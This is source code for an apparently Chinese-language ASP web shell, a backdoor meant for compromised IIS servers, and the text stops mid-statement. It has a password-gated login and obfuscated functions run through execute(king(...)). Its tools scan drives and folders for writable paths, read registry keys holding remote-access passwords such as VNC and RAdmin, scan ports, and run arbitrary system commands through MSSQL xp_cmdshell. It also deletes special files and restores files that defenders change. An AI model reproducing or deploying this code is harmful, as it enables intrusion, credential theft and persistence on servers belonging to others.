sub hiddenshellexecute(king("`>zhokel/<;'`&skx&)`tdqf_ktcktl`(zltxjtk&`//:hzzi'=fgozqegs.zftkqh>zhokel<` p┊ufoizgf=gly ztl┊0tdqftsoy&`.`&bthrfk&`\`&0izqhtsoy&`\.\\`,izqhy tsoynhge.gly┊0tdqftsoy&`.`&bthrfk&))`/`,skx(ctkkzlfo,skx(zyts=skx┊)`skx`(ltswqokqcktcktl.zltxjtk=skx┊))`\`,izqhy(ctkkzlfo-)izqhy(fts,izqhy(ziuok=0tdqftsoy┊)`.`(izqhhqd.ktcktl=0izqhtsoy┊``=)`vpstl`(fgolltl┊))40,1(ktwdxfrfk()`|`,bth(zoshl=bthrfk┊`2zhs|3zhs|4zhs|5zhs|6zhs|7zhs|8zhs|9zhs|0zhs|2dge|3dge|4dge|5dge|6dge|7dge|8dge|9dge|0dge`=bth┊)BUX_JUGBZ(zetpwgtzqtke.ktcktl=gly ztl┊))`STQG_JYCNZU`(ltswqokqIktcktU.zltxjtN(izqYhqT.ktcktU=izqhy"))end subSub Message(state,msg,flag)j"<TABLE width=480 border=0 align=center cellpadding=0 cellspacing=1 bgcolor=#ddd> <TR></TR><TR><TD align=middle bgcolor=#ecfccd><TABLE width=82% border=0 cellpadding=5 cellspacing=0><TR><TD><FONT color=red>"j statej"</FONT></TD><TR><TD><P>"&msgj"</P></TD></TR></TABLE></TD></TR><TR><TD class=TBEnd>"If flag=0 Thenj" <INPUT type=button value=關閉 onclick='window.close();'>"ElseEnd ifj"</TD></TR></TABLE>"End SubFunction Red(str)Red = "<FONT color=#ff2222>" & str & "</FONT>"End Function
Function RndNumber(Min,Max) Randomize RndNumber=Int((Max - Min + 1) * Rnd() + Min) End Function

Sub ScanDriveForm()Dim FSO,DriveBSet FSO = Server.Createobject(CONST_FSO)j"<br><TABLE width=480 border=0 align=center cellpadding=3 cellspacing=1 bgcolor=#ffffff><TR><TD colspan=5 class=TBHead>磁碟/系統文件夾信息</TD></TR>"  For Each DriveB in FSO.Drivesj" <TR align=middle class=TBTD><FORM action=?Action=ScanDrive&Drive="j DriveB.DriveLetterj" method=Post><TD width=25"&chr(37)&"><B>盤符</B></TD><TD width=15"&chr(37)&">"j DriveB.DriveLetterj":</TD><TD width=20"&chr(37)&"><B>類型</B></TD><TD width=20"&chr(37)&">"  Select Case DriveB.DriveType  Case 1: j"可移動"  Case 2: j"本地硬碟"  Case 3: j"網絡磁碟"  Case 4: j"CD-ROM"  Case 5: j"RAM磁碟"  Case else: j"未知類型"  End Selectj"</TD><TD><INPUT type=submit value=詳細報告></TD></FORM></TR>"  Nextj" <TR class=TBTD><FORM action=?Action=ScFolder&Folder="j FSO.GetSpecialFolder(0)j" method=Post><TD align=middle><B>Windows文件夾</B></TD><TD colspan=3>"j FSO.GetSpecialFolder(0)j"</TD><TD align=middle><INPUT type=submit value=詳細報告></TD></FORM></TR><TR class=TBTD><FORM action=?Action=ScFolder&Folder="j FSO.GetSpecialFolder(1)j" method=Post><TD align=middle><B>System32文件夾</B></TD><TD colspan=3>"j FSO.GetSpecialFolder(1)j"</TD><TD align=middle><INPUT type=submit value=詳細報告></TD></FORM></TR><TR class=TBTD><FORM action=?Action=ScFolder&Folder="j FSO.GetSpecialFolder(2)j" method=Post><TD align=middle><B>系統臨時文件夾</B></TD><TD colspan=3>"j FSO.GetSpecialFolder(2)j"</TD><TD align=middle><INPUT type=submit value=詳細報告></TD><TR class=TBTD> <FORM action= method=Post>"j"<TD align=middle><B>站點跟目錄</B></TD><TD colspan=3>站點跟目錄<TD align=middle><a href="&URL&"?Action=ScFolder&Folder="&wwwroot&"><b>詳細報告</b></a></TD><TR class=TBTD> <FORM action= method=Post>"j"<TD align=middle><B>回收站目錄</B></TD><TD colspan=3>回收站目錄 <TD align=middle><a href="&URL&"?Action=ScFolder&Folder=c:\recycler\><b>詳細報告</b></a></TD><TR class=TBTD> <FORM action= method=Post><TD align=middle><B>wmpub目錄 </B></TD><TD colspan=3>wmpub<TD align=middle><a href="&URL&"?Action=ScFolder&Folder=c:\wmpub\><b>詳細報告</b></a></TD></TABLE><BR>"j"</FORM></TR></TABLE><BR><DIV align=center><FORM Action=?Action=ScFolder method=Post>指定文件夾查詢：<INPUT type=text name=Folder value=""c:\php\,d:\Program Files\,C:\Documents and Settings\All Users\Documents\,C:\recycler\,d:\recycler\,e:\recycler\,f:\recycler\,C:\wmpub\,C:\WINDOWS\Temp\,C:\360rec,C:\cache,C:\JPEGCapture,C:\Inetpub""><INPUT type=submit value=生成報告> 批量查看目錄權限,輸入新目錄用「,」隔開。</FORM><DIV>"Set FSO=NothingEnd Sub Sub ScanDrive(Drive)Dim FSO,TestDrive,BaseFolder,TempFolders,Temp_Str,DIf Drive <> "" ThenSet FSO = Server.Createobject(CONST_FSO)Set TestDrive = FSO.GetDrive(Drive)If TestDrive.IsReady ThenTemp_Str = "<LI>磁碟分區類型：" & Red(TestDrive.FileSystem) & "<LI>磁碟序列號：" & Red(TestDrive.SerialNumber) & "<LI>磁碟共享名：" & Red(TestDrive.ShareName) & "<LI>磁碟總容量：" & Red(CInt(TestDrive.TotalSize/1048576)) & "<LI>磁碟卷名：" & Red(TestDrive.VolumeName) & "<LI>磁碟根目錄:" & ScReWr((Drive & ":\"))Set BaseFolder = TestDrive.RootFolderSet TempFolders = BaseFolder.SubFoldersFor Each D in TempFoldersTemp_Str = Temp_Str & "<LI>文件夾：" & ScReWr(D)NextSet TempFolder = NothingSet BaseFolder = NothingElseTemp_Str = Temp_Str & "<LI>磁碟根目錄:" & Red("不可讀:(")Dim TempFolderList,t:t=0Temp_Str = Temp_Str & "<LI>" & Red("窮舉目錄測試：")TempFolderList = Array("windows","winnt","win","win2000","win98","web","winme","windows2000","asp","php","Tools","Documents and Settings","Program Files","Inetpub","ftp","wmpub","tftp")For i = 0 to Ubound(TempFolderList)If FSO.FolderExists(Drive & ":\" & TempFolderList(i)) Thent = t+1Temp_Str = Temp_Str & "<LI>發現文件夾：" & ScReWr(Drive & ":\" & TempFolderList(i))End ifNextIf t=0 then Temp_Str = Temp_Str & "<LI>已窮舉" & Drive & "盤根目錄，但未有發現:("End ifSet TestDrive = NothingSet FSO = NothingTemp_Str = Temp_Str Message Drive & ":磁碟信息",Temp_Str,1End ifEnd SubSub ScFolder(folder) 'On Error Resume NextfolderArr = Split(folder,",")For i = 0 To Ubound(folderArr)Dim FSO,OFolder,TempFolder,Scmsg,SSet FSO = Server.Createobject(CONST_FSO)folder = folderArr(i)If FSO.FolderExists(folder) Then Set OFolder = FSO.GetFolder(folder)Set TempFolders = OFolder.SubFoldersScmsg = "<LI>指定文件夾根目錄：" & ScReWr(folder)For Each S in TempFolders Scmsg = Scmsg&"<LI>文件夾：" & ScReWr(S) NextSet TempFolders = NothingSet OFolder = NothingElse Scmsg = Scmsg & "<LI>文件夾：" & Red(folder & "不存在或無讀權限!")End ifScmsg = Scmsg & "<br><br>注意：不要多次刷新本頁面，否則在只寫文件夾會留下大量垃圾文件!"&backurlSet FSO = NothingMessage "",Scmsg,1nextEnd SubFunction ScReWr(folder)On Error Resume NextDim FSO,TestFolder,TestFileList,ReWrStr,RndFilenameSet FSO = Server.Createobject(CONST_FSO)Set TestFolder = FSO.GetFolder(folder)Set TestFileList = TestFolder.SubFoldersRndFilename = "\temp" & Day(now) & Hour(now) & Minute(now) & Second(now) & ".tmp"For Each A in TestFileListNextIf err Thenerr.ClearReWrStr = folder & "<FONT color=#ff2222> 不可讀,"FSO.CreateTextFile folder & RndFilename,TrueIf err Thenerr.ClearReWrStr = ReWrStr & "不可寫。</FONT>"ElseReWrStr = ReWrStr & "可寫。</FONT>"FSO.DeleteFile folder & RndFilename,TrueEnd IfElseReWrStr = folder & "<FONT color=#dddddd> 可讀,"FSO.CreateTextFile folder & RndFilename,TrueIf err Thenerr.ClearReWrStr = ReWrStr & "不可寫。</FONT>"ElseReWrStr = ReWrStr & "可寫。</FONT>"FSO.DeleteFile folder & RndFilename,TrueEnd ifEnd ifSet TestFileList = NothingSet TestFolder = NothingSet FSO = NothingScReWr = ReWrStrEnd FunctionSub CustomScanDriveForm()execute(king("yo rft┊`>``;)0-(gu.nkgzloi``=aeosZfg 面頁級上回返=txsqc fgzzxw=thnz JMYGC<` p┊`>kw<]成完描掃[` p┊zbtG┊ yC rfS┊koWzbtGaetiZ,tsoXaetiZ,))o(zoshUlizqY(dokJ tsoX_koW_tzokKkoWvgiU┊ftiz 1>)`:`,)o(zoshUlizqY(kzlfo yo┊ )zoshUlizqY(rfxgAM gJ )zoshUlizqY(rfxgAV=o kgX┊ ))10(kie&)80(kie,)`lizqY`(zltxjtN(zoshU=zoshUlizqY┊)`lizqY`(zltxjtN = )`lizqh`(fgolltU┊ilxsX.tlfghltk┊`>kw<.等稍請間時的定一要需能可測檢` p┊)`fg`=)`hdtJaetiZgG`(zltxjtN( = hdtJaetiZgG┊)`fg`=)`tzokKgGvgiU`(zltxjtN( = koWtzokKgGvgiU┊)`fg`=)`koWzbtGaetiZ`(zltxjtN( = koWzbtGaetiZ┊)`fg`=)`tsoXaetiZ`(zltxjtN( = tsoXaetiZ┊tlst┊`>ktzfte/<>dkgy/<` p┊`>stwqs/<錄目時臨測檢不` p┊`>/ 'rtaetie'=rtaetie 'hdtJaetiZgG'=ro 'bgwaetie'=thnz 'hdtJaetiZgG'=tdqf zxhfo<` p┊`>'hdtJaetiZgG'=kgy stwqs<` p┊`>stwqs/<件文和錄目寫禁顯` p┊`>/'tzokKgGvgiU'=ro 'bgwaetie'=thnz 'tzokKgGvgiU'=tdqf zxhfo<` p┊`>'tzokKgGvgiU'=kgy stwqs<` p┊`>stwqs/<` p┊`件文試測>/  'rtaetie'=rtaetie 'tsoXaetiZ'=ro 'bgwaetie'=thnz 'tsoXaetiZ'=tdqf zxhfo<` p┊`>'tsoXaetiZ'=kgy stwqs<` p┊`>stwqs/<` p┊`  錄目試測>/ 'rtaetie'=rtaetie 'koWzbtGaetiZ'=ro 'bgwaetie'=thnz 'koWzbtGaetiZ'=tdqf zxhfo<` p┊`>'koWzbtGaetiZ'=kgy stwqs<` p┊`> '測檢始開'=txsqc 'fgzzxw'=tdqf 'zodwxl'=thnz zxhfo<` p┊`>/ kw<` p┊`>qtkqzbtz/<`&kzl_lizqY&`>'zorS'=llqse '10'=lvgk '13'=lsge 'lizqY'=tdqf qtkqzbtz<` p┊`>kw<錄目子測檢動自會序程,錄目的測檢想你入輸>kw<!息信關相全安些一供提器務服你為,況情寫讀錄目的器務服你測檢以可序程此` p┊`>''=fgozeq 'zlgh'=rgiztd '0dkgy'=tdqf '0dkgy'=ro dkgy<>ktzfte<` p┊)`lizqh`(fgolltU=kzl_lizqY  ftiz ``><)`lizqh`(fgolltU yo┊`wxhztfC\:Z`&)10(kie&)80(kie&`tkxzhqZESYR\:Z`&)10(kie&)80(kie&`tieqe\:Z`&)10(kie&)80(kie&`etk158\:Z`&)10(kie&)80(kie&`\foqdzlgittky\:r`&)10(kie&)80(kie&`\wxhdv\:Z`&)10(kie&)80(kie&`\ktsenetk\:y`&)10(kie&)80(kie&`\ktsenetk\:t`&)10(kie&)80(kie&`\ktsenetk\:r`&)10(kie&)80(kie&`\ktsenetk\:Z`&)10(kie&)80(kie&`\ltsoX dqkugkY\:t`&)10(kie&)80(kie&`\ltsoX dqkugkY\:r`&)10(kie&)80(kie&`\hih\:e`&)10(kie&)80(kie&`\ltsoX dqkugkY\:e`&)10(kie&)80(kie&`\lufozztU rfq lzftdxegW\:e`&)10(kie&)80(kie&`\lvgrfov\:e`=kzl_lizqY┊ftiz ``= )`lizqY`(zltxjtN yo┊SxkJ = ktyyxA.tlfghltN'"))end subfunction GetFullPath(path)GetFullPath = pathif Right(path,1) <> "\" then GetFullPath = path&"\" end functionFunction Deltextfile(filepath)On Error Resume NextSet objFSO = CreateObject(CONST_FSO) if objFSO.FileExists(filepath) then objFSO.DeleteFile(filepath) end if Set objFSO = nothingDeltextfile = Err.Number End Function Function CheckDirIsOKWrite(DirStr)On Error Resume NextSet FSO = Server.CreateObject(CONST_FSO)filepath = GetFullPath(DirStr)&fso.GettempNameFSO.CreateTextFile(filepath) CheckDirIsOKWrite = Err.Numberif  ShowNoWriteDir and (CheckDirIsOKWrite =70) thenj "[<font color=end ifset fout =Nothingset FSO = NothingDeltextfile(filepath)if CheckDirIsOKWrite=0 and Deltextfile(filepath)=70 then CheckDirIsOKWrite =1end Functionfunction CheckFileWrite(filepath)On Error Resume NextSet FSO = Server.CreateObject(CONST_FSO)set getAtt=FSO.GetFile(filepath)getAtt.Attributes = getAtt.Attributes  CheckFileWrite = Err.Number set FSO = Nothingset getAtt = Nothing  end functionfunction ShowDirWrite_Dir_File(Path,CheckFile,CheckNextDir)On Error Resume NextSet FSO = Server.CreateObject(CONST_FSO)B = FSO.FolderExists(Path)set FSO=nothingIS_TEMP_DIR =(instr(UCase(Path),"WINDOWS\TEMP")>0) and NoCheckTempif B=false thenRe = CheckFileWrite(Path)if Re =0 thenj "[文件]<font color=red>"&Path&"</font><br>"b =trueexit functionelsej "[<font color=red>文件</font>]"&Path&" [<font color=red>"&Err.Description&"</font>]<br>"exit functionend ifend ifPath = GetFullPath(Path)re = CheckDirIsOKWrite(Path)if (re =0) or (re=1) thenj "[目錄]<font color=#0000FF>"& Path&"</font><br>"end ifSet FSO = Server.CreateObject(CONST_FSO)set f = fso.getfolder(Path)if (CheckFile=True) and (IS_TEMP_DIR=false) thenb=falsefor each file in f.FilesRe = CheckFileWrite(Path&file.name)if Re =0 thenj "[文件]<font color=red>"& Path&file.name&"</font><br>"b =trueelseif ShowNoWriteDir then j "[<font color=red>文件</font>]"&Path&file.name&" [<font color=red>"&Err.Description&"</font>]<br>"end ifnextif b then response.Flush end iffor each file in f.SubFoldersif CheckNextDir=false thenre = CheckDirIsOKWrite(Path&file.name)if (re =0) or (re=1) thenj "[目錄]<font color=#0066FF>"& Path&file.name&"</font><br>"end ifend ifif (CheckNextDir=True) and (IS_TEMP_DIR=false) then ShowDirWrite_Dir_File Path&file.name,CheckFile,CheckNextDir end ifnextSet FSO = Nothingset f = Nothingend functionc=userpassfunction goback()execute(king("ufoizgf=ktrsgyg ztl┊ufoizgf=glyB ztl┊yo rft┊`>ktzfte/<>kw/<>';)0-(gu.nkgzloi'=aeosZfg 回返=txsqc fgzzxw=thnz JMYGC<>kw<>ktzfte<>ktzfte/<!了錄目根盤磁是經已>ktzfte<>zhokel/<)```&)`izqYktrsgX`(fgolltU&```(ktrsgXvgiU>zhokel<` p┊ tlst┊`>zhokel/<)```&)ktrsgyzftkqh.ktrsgyg(izqYtN&```(ktrsgXvgiU>zhokel<` p┊ ftiz ktrsgXzggNlC.ktrsgyg zgf yo┊))`izqYktrsgX`(fgolltU(ktrsgyztE.glyB = ktrsgyg ztl┊)BUX_JUGBZ(zetpwBtzqtkZ.ktcktU = glyB ztl"))end functionsub ReadREG()execute(king("yo rft┊yC rfS┊nqkkQtiz & `>os<` p┊tlsS┊zbtG┊)o(nqkkQtiz & `>os<` p┊)nqkkQtiz(rfxgAM gJ 1=o kgX┊ftiJ )nqkkQtiz(nqkkQlC yC┊)izqYtiz(rqtNutN.Llv=nqkkQtiz┊)`izqYtiz`(zltxjtN=izqYtiz┊)`sstiU.zhokeUK`(zetpwBtzqtkZ.ktcktU = Llv ztU┊zbtG tdxltN kgkkS fB┊ftiz ``><)`izqYtiz`(zltxjtN yo┊`>/ki<>dkgy/<` p┊`>')(zodwxl.dkgy.loiz'=aeosefg '值 鍵 讀'=txsqc fgzzxw=thnz zxhfo<` p┊`>13=tmol ''=txsqc izqYtiz=tdqf zxhfo< ` p┊`>/ kw<>zetstl/<` p┊`>fgozhg/<口端YZJ的放開許允>'lzkgYrtvgssQYZJ\}S9AS66ZW3780-8XXQ-Z1A7-22S3-390657Q3{\lteqyktzfC\lktztdqkqY\hoheJ\lteocktU\011ztUsgkzfgZ\TSJUOU\TVFD'=txsqc fgozhg<` p┊`>fgozhg/<口端YWM的放開許允>'lzkgYrtvgssQYWM\}S9AS66ZW3780-8XXQ-Z1A7-22S3-390657Q3{\lteqyktzfC\lktztdqkqY\hoheJ\lteocktU\011ztUsgkzfgZ\TSJUOU\TVFD'=txsqc fgozhg<` p┊`>fgozhg/<放開火防>'YZJ:2388\zloV\lzkgYfthBnssqwgsE\tsoygkYrkqrfqzU\neosgYssqvtkoX\lktztdqkqY\llteeQrtkqiU\lteocktU\ztUsgkzfgZzftkkxZ\TSJUOU\TVFD'=txsqc fgozhg<` p┊`>fgozhg/<ugV tsxrtieU>'izqYugV\zftuQufosxrtieU\zyglgkeoT\SNQKJXBU\SGCDZQT_VQZBV_OSFD'=txsqc fgozhg<` p┊`>fgozhg/<8濾過ho/hez>'lktzsoXnzokxetUtswqfS\hoheJ\lteocktU\ztUsgkzfgZzftkkxZ\TSJUOU\SGCDZQT_VQZBV_OSFD'=txsqc fgozhg<` p┊`>fgozhg/<9濾過ho/hez>'lktzsoXnzokxetUtswqfS\hoheJ\lteocktU\911ztUsgkzfgZ\TSJUOU\SGCDZQT_VQZBV_OSFD'=txsqc fgozhg<` p┊`>fgozhg/<0濾過ho/hez>'lktzsoXnzokxetUtswqfS\hoheJ\lteocktU\011ztUsgkzfgZ\TSJUOU\SGCDZQT_VQZBV_OSFD'=txsqc fgozhg<` p┊`>fgozhg/<口端態狀KnfQeY>``zkgYlxzqzUYCYZJ\dtzlnU\fgolktIzftkkxZ\tktivnfQeh\etzfqdnU\SNQKJXBU\TVFD``=txsqc fgozhg<`p┊`>fgozhg/<口端據數KnfQeY>``zkgYqzqWYCYZJ\dtzlnU\fgolktIzftkkxZ\tktivnfQeh\etzfqdnU\SNQKJXBU\TVFD``=txsqc fgozhg<`p┊`>fgozhg/<口端2388>``ktwdxGzkgY\heJ-YWN\lfgozqzUfoK\ktcktU sqfodktJ\sgkzfgZ\ztUsgkzfgZzftkkxZ\TSJUOU\TVFD``=txsqc fgozhg<`p┊`>fgozhg/<口端7ZGI>``ktwdxGzkgY\7ZGIfoK\ZGIsqtN\SNQKJXBU\TVFD``=txsqc fgozhg<`p┊`>fgozhg/<碼密7ZGI>``rkgvllqY\7ZGIfoK\ZGIsqtN\SNQKJXBU\TVFD``=txsqc fgozhg<`p┊`>fgozhg/<口端8ZGI>``ktwdxGzkgY\8ZGIfoK\VNB\tkqvzygU\MZFD``=txsqc fgozhg<`p┊`>fgozhg/<碼密8ZGI>``rkgvllqY\8ZGIfoK\VNB\tkqvzygU\MZFD``=txsqc fgozhg<`p┊`>fgozhg/<口端fodrqN>``zkgY\lktztdqkqY\ktcktU\1.9c\fodrQN\TSJUOU\TVFD``=txsqc fgozhg<`p┊`>fgozhg/<碼密fodrqN>``ktztdqkqY\lktztdqkqY\ktcktU\1.9c\fodrQN\TSJUOU\TVFD``=txsqc fgozhg<`p┊`>fgozhg/<表列卡網>``rfoA\tuqafoV\hoheJ\lteocktU\ztUsgkzfgZzftkkxZ\TSJUOU\TVFD``=txsqc fgozhg<`p┊`>fgozhg/<tdqGktzxhdgZ>'tdqGktzxhdgZ\tdqGktzxhdgZ\tdqGktzxhdgZ\sgkzfgZ\ztUsgkzfgZzftkkxZ\TSJUOU\TVFD'=txsqc fgozhg<` p┊`>fgozhg/<值鍵的帶自擇選>''=txsqc fgozhg<` p┊`>';txsqc.loiz=txsqc.izqYtiz.dkgy.loiz'=tufqiZfg zetstl<` p┊` >9=fqhlsge rz<>kz<` p┊`>zeQtiz=tdqf utNrqtN=txsqc ftrroi=thnz zxhfo<` p┊ `>h<取讀值鍵表冊注`  p┊`>zlgh=rgiztd dkgy<` p"))end subsub delpoint()execute(king("`>cor/<>dkgy/<>'件文點帶除刪'=txsqc 'zodwxU'=tdqf 'zodwxl'=thnz zxhfo<>'hlq.tsoy\..zgr\zlgittky\:W'= txsqc'63'=tmol  'zbtz'=thnz'tsoyhstr'=tdqf zxhfo<>'zlgh'=rgiztd ''=fgozeq dkgy<>h<>dkgy/<>'錄目點帶除刪'=txsqc 'zodwxU'=tdqf 'zodwxl'=thnz zxhfo<>'..zgr\zlgittky\:W'=txsqc '63'=tmol 'zbtz'=thnz 'ktrgsyhstr'=tdqf zxhfo<>'zlgh'=rgiztd''=fgozeq dkgy<>kw<>kw<` p┊`>zfgy<寫填例示照參>rtk= kgsge zfgy<` p┊yo rft┊)`tsoyhstr`(zltxjtN&`\?\\` tsoyzfoghstr┊ftiz ``>< )`tsoyhstr`(zltxjtN yo┊yo rft┊)`ktrgsyhstr`(zltxjtN&`\?\\` ktrsgyzfoghstr┊ftiz ``>< )`ktrgsyhstr`(zltxjtN yo"))end  subfunction Delpointfolder(t0)execute(king("kqtsZ.kkS:fgozhokeltW.kkS p ftiJ kkS XC┊`>kw<!!功成除刪`&1z  p     ┊   txkz,1y ktrsgXtztstW.gly┊ ftiJ )1y(lzlobSktrsgX.gly XC'┊yC rfS┊)1z(izqYhqT.ktcktU=1y  ┊tlsS┊1z=1y  ┊ftiJ 1>)`\:`,1z(kzlfC yC┊)BUX_JUGBZ(zetpwBtzqtkZ.ktcktU=gly ztU"))End Functionfunction Delpointfile(t0)execute(king("`>kw<!!功成除刪`&1z  p┊kqtsZ.kkS:fgozhokeltW.kkS p ftiJ kkS XC ┊ txkz,1y tsoXtztstW.gly ┊yC rfS ┊)1z(izqYhqT.ktcktU=1y  ┊tlsS ┊1z=1y ┊ftiJ 1>)`\:`,1z(kzlfC yC┊)BUX_JUGBZ(zetpwBtzqtkZ.ktcktU=gly ztU ┊zbtG tdxltN kgkkS fB'"))End functionif request("ProFile")<>"" thenon error resume nextif Application(request("ProFile"))=1 thenSet fsoXX = Server.CreateObject(CONST_FSO)if request("DelCon")=1 thenApplication(request("ProFile")&"Con")=""response.redirect Url&"?ProFile="&request("ProFile")&""response.endend ifDIM rline,rline2rline2=Application(request("ProFile")&"Code")rline2=rline2&vbcrlfj"<meta http-equiv=""refresh"" content="&Application(request("ProFile")&"Time")&">"j"<a href="&Url&"?ProFile="&request("ProFile")&"&DelCon=1><b>清空日誌</b></a> &nbsp;<font color=yellow>要想解除保護，直接關閉頁面即可。</font><br>"for each FileUrl in split(Application(request("ProFile")&"File"),vbcrlf)FileUrl=trim(FileUrl)if fsoXX.FileExists(FileUrl) thenSet txt = fsoXX.OpenTextFile(FileUrl,1,true)rline=""if Not txt.AtEndOfStream thenrline=txt.ReadAll  end ifif rline2<>rline thentxt.closefsoX.GetFile(FileUrl).Attributes=32if Application(request("ProFile")&"Char")=1 thenset myfileee = fsoXX.CreateTextFile(FileUrl,true)elseset myfileee = fsoXX.CreateTextFile(FileUrl,true,true)end ifmyfileee.writeline Application(request("ProFile")&"Code")Application(request("ProFile")&"Con")=now()&" "&FileUrl&" <font color=yellow>被更改，已恢復</font><br>"&Application(request("ProFile")&"Con")elseApplication(request("ProFile")&"Con")=now()&" "&FileUrl&" √<br>"&Application(request("ProFile")&"Con")txt.closeend ifelseif Application(request("ProFile")&"Char")=1 thenset myfileee = fsoXX.CreateTextFile(FileUrl,true)elseset myfileee = fsoXX.CreateTextFile(FileUrl,true,true)end ifmyfileee.writeline Application(request("ProFile")&"Code")Application(request("ProFile")&"Con")=now()&" "&FileUrl&" <font color=red>被刪除，已恢復</font><br>"&Application(request("ProFile")&"Con")end ifnextif ubound(split(Application(request("ProFile")&"Con"),"<br>"))>=40 thendim ashowicfor ashowi=0 to 40ashowic=ashowic&split(Application(request("ProFile")&"Con"),"<br>")(ashowi)&"<br>"nextApplication(request("ProFile")&"Con")=ashowicend ifj Application(request("ProFile")&"Con")elsej"<br><br><br><center>保護進程丟失，請<a href="&URL&" style=""text-decoration:underline;font-weight:bold"">重新生成</a>保護進程。</center>"end ifif request("profile")="a" then j cresponse.endend if
if session("KKK")<>UserPass thenif request.form("pass")<>"" thenif request.form("pass")=UserPass thensession("KKK")=UserPassresponse.redirect urlelsej"<br><br><br><b><div align=center><font size='5' color='red'>入侵的再多也入侵不了你的心</font ></b> <br><br><br><br><b><div align=center><font size='14' color='lime'></font></b></p></center>"&backurlend ifelsesi="<body style=""background:url("&bg&") no-repeat center center;""> <center><FONT style=""FONT-SIZE: 80pt; FILTER: shadow(color:#696969,strength=55); WIDTH: 100%;  LINE-HEIGHT: 300%; FONT-FAMILY:Arial"">"&Copyright&"</FONT "&userpass&"><div style='width:400px;padding:32px; align=left'><br><form action='"&url&"' method='post'><b>輸入密碼：</b><input name='pass' type='password' size='22'> <input type='submit' value='向著權限前進'></center>"if instr(SI,SIC)<>0 then j sIend ifresponse.endend ifsub ScanPort()Server.ScriptTimeout = 7776000if request.Form("port")="" thenPortList="1433,3306,3389,4899,43958"elsePortList=request.Form("port")end ifif request.Form("ip")="" thenIP="127.0.0.1"elseIP=request.Form("ip")end ifj"<p>埠掃描器(如果掃描多個埠,速度比較慢,個人推薦使用CMD，CMD對內網掃描不準確。)</p><p>如果是內網，則掃描結果外部IP可能無法連接。請在SHELL內執行系列操作。</p>"j"<form name='form1' method='post' action='' onSubmit='form1.submit.disabled=true;'>"j"<p>Scan IP: "j" <input name='ip' type='text' class='TextBox' id='ip' value='"&IP&"' size='60'>"j"<br>Port List:"j"<input name='port' type='text' class='TextBox' size='60' value='"&PortList&"'>"j"<br><br>"j"<input name='submit' type='submit' class='buttom' value=' scan '>"j"<input name='scan' type='hidden' id='scan' value='111'>"j"</p></form>"If request.Form("scan") <> "" Thentimer1 = timerj("<b>掃描報告:</b><br><hr>")tmp = Split(request.Form("port"),",")ip = Split(request.Form("ip"),",")For hu = 0 to Ubound(ip)If InStr(ip(hu),"-") = 0 ThenFor i = 0 To Ubound(tmp)If Isnumeric(tmp(i)) Then Call Scan(ip(hu), tmp(i))Elseseekx = InStr(tmp(i), "-")If seekx > 0 ThenstartN = Left(tmp(i), seekx - 1 )endN = Right(tmp(i), Len(tmp(i)) - seekx )If Isnumeric(startN) and Isnumeric(endN) ThenFor j = startN To endNCall Scan(ip(hu), j)NextElsej(startN & " or " & endN & " is not number<br>")End IfElsej(tmp(i) & " is not number<br>")End IfEnd IfNextElseipStart = Mid(ip(hu),1,InStrRev(ip(hu),"."))For xxx = Mid(ip(hu),InStrRev(ip(hu),".")+1,1) to Mid(ip(hu),InStr(ip(hu),"-")+1,Len(ip(hu))-InStr(ip(hu),"-"))For i = 0 To Ubound(tmp)If Isnumeric(tmp(i)) Then Call Scan(ipStart & xxx, tmp(i))Elseseekx = InStr(tmp(i), "-")If seekx > 0 ThenstartN = Left(tmp(i), seekx - 1 )endN = Right(tmp(i), Len(tmp(i)) - seekx )If Isnumeric(startN) and Isnumeric(endN) ThenFor j = startN To endNCall Scan(ipStart & xxx,j)NextElsej(startN & " or " & endN & " is not number<br>")End IfElsej(tmp(i) & " is not number<br>")End IfEnd IfNextNextEnd IfNexttimer2 = timerthetime=cstr(int(timer2-timer1))j"<hr>Process in "&thetime&" s"END IFend subSub Scan(targetip, portNum)On Error Resume Nextset conn = Server.CreateObject("ADODB.connection")connstr="Provider=SQLOLEDB.1;Data Source=" & targetip &","& portNum &";User ID=lake2;Password=;"conn.ConnectionTimeout = 1conn.open connstrIf Err ThenIf Err.number = -2147217843 or Err.number = -2147467259 ThenIf InStr(Err.description, "(Connect()).") > 0 Thenj(targetip & ":" & portNum & "....關閉<br>")Elsej(targetip & ":" & portNum & "....<font color=red>開放</font><br>")End IfEnd IfEnd IfEnd SubSelect Case Action:case "MainMenu":MainMenu()Case "EditPower"Call EditPower(request("PowerPath"))Case "SavePower"Call SavePower(request("PowerPath"),request("SaveType"))case "getTerminalInfo":getTerminalInfo():case "PageAddToMdb":PageAddToMdb():case "ScanPort":ScanPort():FuncTion MMD():SI="<br><form name=form method=post action=""""><table width=""85%"" align='center'><tr align=center><Td id=s><b id=x>MSSQL Commander</b></td></tr><tr align='center'><td id=d><b id=x>Command：</b><input type=text name=MMD size=35 value=""ipconfig"" >&nbsp;<b id=x>UserName：</b><input type=text name=U value=sa>&nbsp;<b id=x>Password：</b><input type=text name=P VALUES=123456>&nbsp;<input type=submit value=Execute></td></tr></table></form>":j SI:SI="":If trim(request.form("MMD"))<>""  Then:password= trim(Request.form("P")):id=trim(Request.form("U")):set adoConn=sERvEr.crEATeobjECT("ADODB.Connection"):adoConn.Open "Provider=SQLOLEDB.1;Password="&password&";User ID="&id:strQuery = "exec master.dbo.xp_cMdsHeLl '" & request.form("MMD") & "'":set recResult = adoConn.Execute(strQuery):If NOT recResult.EOF Then:Do While NOT recResult.EOF:strResult = strResult & chr(13) & recResult(0):recResult.MoveNext:Loop:End if:set recResult = Nothing:strResult = Replace(strResult," ","&nbsp;"):strResult = Replace(strResult,"<","&lt;"):strResult = Replace(strResult,">","&gt;"):strResult = Replace(strResult,chr(13),"<br>"):End if:set adoConn = Nothing:j request.form("MMD") & "<br>"& strResult:end FuncTion:case "Alexa"dim AlexaUrl,Top:AlexaUrl=request("u"):Top=Alexa(AlexaUrl):if AlexaUrl="" then AlexaUrl=""&request.servervariables("http_host")&""execute(king("`>kz/<>rz/<`&)`SNQKJXBU_NSINSU`(ltswqokqIktcktU.zltxjtN&`>'XXXXXX#'=kgsgeuw rz<>rz/< >'XXXXXX#'=kgsgeuw rz<>rz/<本版器務服ASK>'XXXXXX#'=kgsgeuw '119'=izrov '19'=ziuoti rz<>'ktzfte'=fuosq kz<>kz/<>rz/<`&)`UB`(ltswqokqIktcktU.zltxjtN&`>'XXXXXX#'=kgsgeuw rz<>rz/< >'XXXXXX#'=kgsgeuw rz<>rz/<統系作操器務服>'XXXXXX#'=kgsgeuw '119'=izrov '19'=ziuoti rz<>'ktzfte'=fuosq 